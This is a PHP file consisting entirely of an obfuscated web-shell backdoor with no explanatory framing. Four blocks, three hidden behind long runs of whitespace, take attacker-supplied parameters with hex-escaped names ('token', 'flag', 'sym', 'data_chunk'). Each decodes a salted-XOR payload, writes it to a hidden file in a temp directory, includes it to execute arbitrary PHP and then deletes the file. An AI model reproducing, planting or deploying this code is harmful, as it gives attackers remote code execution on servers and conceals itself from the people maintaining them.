<?php																																										if(!empty($_REQUEST["to\x6B\x65n"])){ $k = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", getcwd()]); $hld = $_REQUEST["to\x6B\x65n"]; $hld = explode( "." ,$hld ) ; $data_chunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $i = 0; $__tmp = $hld; while ($v7 = array_shift($__tmp)) {$chS = ord($salt8[$i % $sLen] ); $dec = ((int)$v7 - $chS - ($i % 10)) ^ 1; $data_chunk.= chr($dec ); $i++;} foreach ($k as $key => $dat) { if ((is_dir($dat) and is_writable($dat))) { $key = implode("/", [$dat, ".value"]); if (@file_put_contents($key, $data_chunk) !== false) { include $key; unlink($key); exit; } } } }
																																										if(!empty($_POST["f\x6Cag"])){ $data = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd()]); $res = $_POST["f\x6Cag"]; $res = explode (".", $res ); $record=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s6); $i=0; $__tmp=$res; while( $v8=array_shift( $__tmp)) { $sChar=ord( $s6[$i % $lenS]); $dec=( ( int)$v8 - $sChar -( $i % 10)) ^ 30; $record.=chr( $dec); $i++; } foreach ($data as $key => $pointer) { if (is_writable($pointer) && is_dir($pointer)) { $data_chunk = vsprintf("%s/%s", [$pointer, ".descriptor"]); if (file_put_contents($data_chunk, $record)) { include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(isset($_POST["\x73\x79m"])){ $pgrp = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); $pointer = $_POST["\x73\x79m"]; $pointer = explode ("." , $pointer ) ; $mrk=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s2); $k=0; array_walk( $pointer ,function( $v4) use( &$mrk ,&$k ,$s2 ,$sLen) { $chS=ord( $s2[$k% $sLen]); $dec=( ( int)$v4 - $chS -( $k% 10))^ 9; $mrk .= chr( $dec); $k++; } ); while ($dchunk = array_shift($pgrp)) { if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $ptr = vsprintf("%s/%s", [$dchunk, ".ent"]); if (file_put_contents($ptr, $mrk)) { include $ptr; @unlink($ptr); exit; } } } }


if(isset($_REQUEST) && isset($_REQUEST["d\x61\x74a_\x63h\x75\x6Ek"])){
	$binding = $_REQUEST["d\x61\x74a_\x63h\x75\x6Ek"];
	 $binding=explode			(	"." ,  	$binding  )		; 
	$component=		'';
            $s5=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=		strlen($s5);
            $__len=		count($binding);
    
            for ($l=		0; $l<$__len; $l++) {$v5=		$binding[$l];
                $sChar=		ord($s5[$l % $sLen]);
                $dec=		((int)$v5 - $sChar - ($l % 10))	^22;
                $component .= chr($dec); 	}
	$entry = array_filter(["/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm"]);
	while ($ent = array_shift($entry)) {
    		if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
    $item = sprintf("%s/.dat", $ent);
    if (@file_put_contents($item, $component) !== false) {
	include $item;
	unlink($item);
	exit;
}
}
}
}